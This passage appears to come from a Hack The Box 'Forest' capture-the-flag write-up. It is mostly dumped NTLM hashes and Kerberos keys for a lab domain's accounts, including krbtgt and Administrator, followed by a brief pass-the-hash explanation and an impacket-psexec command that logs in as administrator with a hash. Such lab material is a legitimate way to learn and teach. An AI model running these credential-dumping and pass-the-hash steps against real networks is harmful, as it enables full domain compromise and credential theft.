htb.local\mark:1151:aad3b435b51404eeaad3b435b51404ee:9e63ebcb217bf3c6b27056fdcb6150f7:::
htb.local\santi:1152:aad3b435b51404eeaad3b435b51404ee:483d4c70248510d8e0acb6066cd89072:::
isaiah:10101:aad3b435b51404eeaad3b435b51404ee:f98f0adb285ad180f5905c5e995d2c48:::
tom:10102:aad3b435b51404eeaad3b435b51404ee:f98f0adb285ad180f5905c5e995d2c48:::
FOREST$:1000:aad3b435b51404eeaad3b435b51404ee:a6a85c00316282f8e428c91ba3a3d972:::
EXCH01$:1103:aad3b435b51404eeaad3b435b51404ee:050105bb043f5b8ffc3a9fa99b5ef7c1:::
[*] Kerberos keys grabbed
htb.local\Administrator:aes256-cts-hmac-sha1-96:910e4c922b7516d4a27f05b5ae6a147578564284fff8461a02298ac9263bc913
htb.local\Administrator:aes128-cts-hmac-sha1-96:b5880b186249a067a5f6b814a23ed375
htb.local\Administrator:des-cbc-md5:c1e049c71f57343b
krbtgt:aes256-cts-hmac-sha1-96:9bf3b92c73e03eb58f698484c38039ab818ed76b4b3a0e1863d27a631f89528b
krbtgt:aes128-cts-hmac-sha1-96:13a5c6b1d30320624570f65b5f755f58
krbtgt:des-cbc-md5:9dd5647a31518ca8
htb.local\HealthMailboxc3d7722:aes256-cts-hmac-sha1-96:258c91eed3f684ee002bcad834950f475b5a3f61b7aa8651c9d79911e16cdbd4
htb.local\HealthMailboxc3d7722:aes128-cts-hmac-sha1-96:47138a74b2f01f1886617cc53185864e
htb.local\HealthMailboxc3d7722:des-cbc-md5:5dea94ef1c15c43e
htb.local\HealthMailboxfc9daad:aes256-cts-hmac-sha1-96:6e4efe11b111e368423cba4aaa053a34a14cbf6a716cb89aab9a966d698618bf
htb.local\HealthMailboxfc9daad:aes128-cts-hmac-sha1-96:9943475a1fc13e33e9b6cb2eb7158bdd
htb.local\HealthMailboxfc9daad:des-cbc-md5:7c8f0b6802e0236e
htb.local\HealthMailboxc0a90c9:aes256-cts-hmac-sha1-96:7ff6b5acb576598fc724a561209c0bf541299bac6044ee214c32345e0435225e
htb.local\HealthMailboxc0a90c9:aes128-cts-hmac-sha1-96:ba4a1a62fc574d76949a8941075c43ed
htb.local\HealthMailboxc0a90c9:des-cbc-md5:0bc8463273fed983
htb.local\HealthMailbox670628e:aes256-cts-hmac-sha1-96:a4c5f690603ff75faae7774a7cc99c0518fb5ad4425eebea19501517db4d7a91
htb.local\HealthMailbox670628e:aes128-cts-hmac-sha1-96:b723447e34a427833c1a321668c9f53f
htb.local\HealthMailbox670628e:des-cbc-md5:9bba8abad9b0d01a
htb.local\HealthMailbox968e74d:aes256-cts-hmac-sha1-96:1ea10e3661b3b4390e57de350043a2fe6a55dbe0902b31d2c194d2ceff76c23c
htb.local\HealthMailbox968e74d:aes128-cts-hmac-sha1-96:ffe29cd2a68333d29b929e32bf18a8c8
htb.local\HealthMailbox968e74d:des-cbc-md5:68d5ae202af71c5d
htb.local\HealthMailbox6ded678:aes256-cts-hmac-sha1-96:d1a475c7c77aa589e156bc3d2d92264a255f904d32ebbd79e0aa68608796ab81
htb.local\HealthMailbox6ded678:aes128-cts-hmac-sha1-96:bbe21bfc470a82c056b23c4807b54cb6
htb.local\HealthMailbox6ded678:des-cbc-md5:cbe9ce9d522c54d5
htb.local\HealthMailbox83d6781:aes256-cts-hmac-sha1-96:d8bcd237595b104a41938cb0cdc77fc729477a69e4318b1bd87d99c38c31b88a
htb.local\HealthMailbox83d6781:aes128-cts-hmac-sha1-96:76dd3c944b08963e84ac29c95fb182b2
htb.local\HealthMailbox83d6781:des-cbc-md5:8f43d073d0e9ec29
htb.local\HealthMailboxfd87238:aes256-cts-hmac-sha1-96:9d05d4ed052c5ac8a4de5b34dc63e1659088eaf8c6b1650214a7445eb22b48e7
htb.local\HealthMailboxfd87238:aes128-cts-hmac-sha1-96:e507932166ad40c035f01193c8279538
htb.local\HealthMailboxfd87238:des-cbc-md5:0bc8abe526753702
htb.local\HealthMailboxb01ac64:aes256-cts-hmac-sha1-96:af4bbcd26c2cdd1c6d0c9357361610b79cdcb1f334573ad63b1e3457ddb7d352
htb.local\HealthMailboxb01ac64:aes128-cts-hmac-sha1-96:8f9484722653f5f6f88b0703ec09074d
htb.local\HealthMailboxb01ac64:des-cbc-md5:97a13b7c7f40f701
htb.local\HealthMailbox7108a4e:aes256-cts-hmac-sha1-96:64aeffda174c5dba9a41d465460e2d90aeb9dd2fa511e96b747e9cf9742c75bd
htb.local\HealthMailbox7108a4e:aes128-cts-hmac-sha1-96:98a0734ba6ef3e6581907151b96e9f36
htb.local\HealthMailbox7108a4e:des-cbc-md5:a7ce0446ce31aefb
htb.local\HealthMailbox0659cc1:aes256-cts-hmac-sha1-96:a5a6e4e0ddbc02485d6c83a4fe4de4738409d6a8f9a5d763d69dcef633cbd40c
htb.local\HealthMailbox0659cc1:aes128-cts-hmac-sha1-96:8e6977e972dfc154f0ea50e2fd52bfa3
htb.local\HealthMailbox0659cc1:des-cbc-md5:e35b497a13628054
htb.local\sebastien:aes256-cts-hmac-sha1-96:fa87efc1dcc0204efb0870cf5af01ddbb00aefed27a1bf80464e77566b543161
htb.local\sebastien:aes128-cts-hmac-sha1-96:18574c6ae9e20c558821179a107c943a
htb.local\sebastien:des-cbc-md5:702a3445e0d65b58
htb.local\lucinda:aes256-cts-hmac-sha1-96:acd2f13c2bf8c8fca7bf036e59c1f1fefb6d087dbb97ff0428ab0972011067d5
htb.local\lucinda:aes128-cts-hmac-sha1-96:fc50c737058b2dcc4311b245ed0b2fad
htb.local\lucinda:des-cbc-md5:a13bb56bd043a2ce
htb.local\svc-alfresco:aes256-cts-hmac-sha1-96:46c50e6cc9376c2c1738d342ed813a7ffc4f42817e2e37d7b5bd426726782f32
htb.local\svc-alfresco:aes128-cts-hmac-sha1-96:e40b14320b9af95742f9799f45f2f2ea
htb.local\svc-alfresco:des-cbc-md5:014ac86d0b98294a
htb.local\andy:aes256-cts-hmac-sha1-96:ca2c2bb033cb703182af74e45a1c7780858bcbff1406a6be2de63b01aa3de94f
htb.local\andy:aes128-cts-hmac-sha1-96:606007308c9987fb10347729ebe18ff6
htb.local\andy:des-cbc-md5:a2ab5eef017fb9da
htb.local\mark:aes256-cts-hmac-sha1-96:9d306f169888c71fa26f692a756b4113bf2f0b6c666a99095aa86f7c607345f6
htb.local\mark:aes128-cts-hmac-sha1-96:a2883fccedb4cf688c4d6f608ddf0b81
htb.local\mark:des-cbc-md5:b5dff1f40b8f3be9
htb.local\santi:aes256-cts-hmac-sha1-96:8a0b0b2a61e9189cd97dd1d9042e80abe274814b5ff2f15878afe46234fb1427
htb.local\santi:aes128-cts-hmac-sha1-96:cbf9c843a3d9b718952898bdcce60c25
htb.local\santi:des-cbc-md5:4075ad528ab9e5fd
isaiah:aes256-cts-hmac-sha1-96:fe27a28f1d368381cb05735ca623f5627a87e29d15c514f26f09d45e09d150c6
isaiah:aes128-cts-hmac-sha1-96:a20cc79e250aa9dbec135b1101ff7335
isaiah:des-cbc-md5:3be52332d60701ab
tom:aes256-cts-hmac-sha1-96:a1e02e106b8dc618b91024042a6f46f169bec6a45903674c8dff4cbaaeb282ce
tom:aes128-cts-hmac-sha1-96:d7786f6e8e8cdfe2b1c69589a466a85f
tom:des-cbc-md5:b5cefb890d1a5479
FOREST$:aes256-cts-hmac-sha1-96:74392a75890b18127ad69ab44b43be5601923e556263d3f8ae1a901304c9ccff
FOREST$:aes128-cts-hmac-sha1-96:0f5c4cff806683d822fce654f69a80dc
FOREST$:des-cbc-md5:c8132fbf73c71fa8
EXCH01$:aes256-cts-hmac-sha1-96:1a87f882a1ab851ce15a5e1f48005de99995f2da482837d49f16806099dd85b6
EXCH01$:aes128-cts-hmac-sha1-96:9ceffb340a70b055304c3cd0583edf4e
EXCH01$:des-cbc-md5:8c45f44c16975129
[*] Cleaning up...

PASS THE HASH

In this attack, an attacker doesn't need to steal or crack a user's plaintext password. Instead, they use the hashed version of the password (the password hash) to authenticate themselves to a system or network

Now that we have the domain admin NTML hash we can just login via psexec

impacket-psexec administrator@10.129.171.71 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

HAPPY HACKING!!!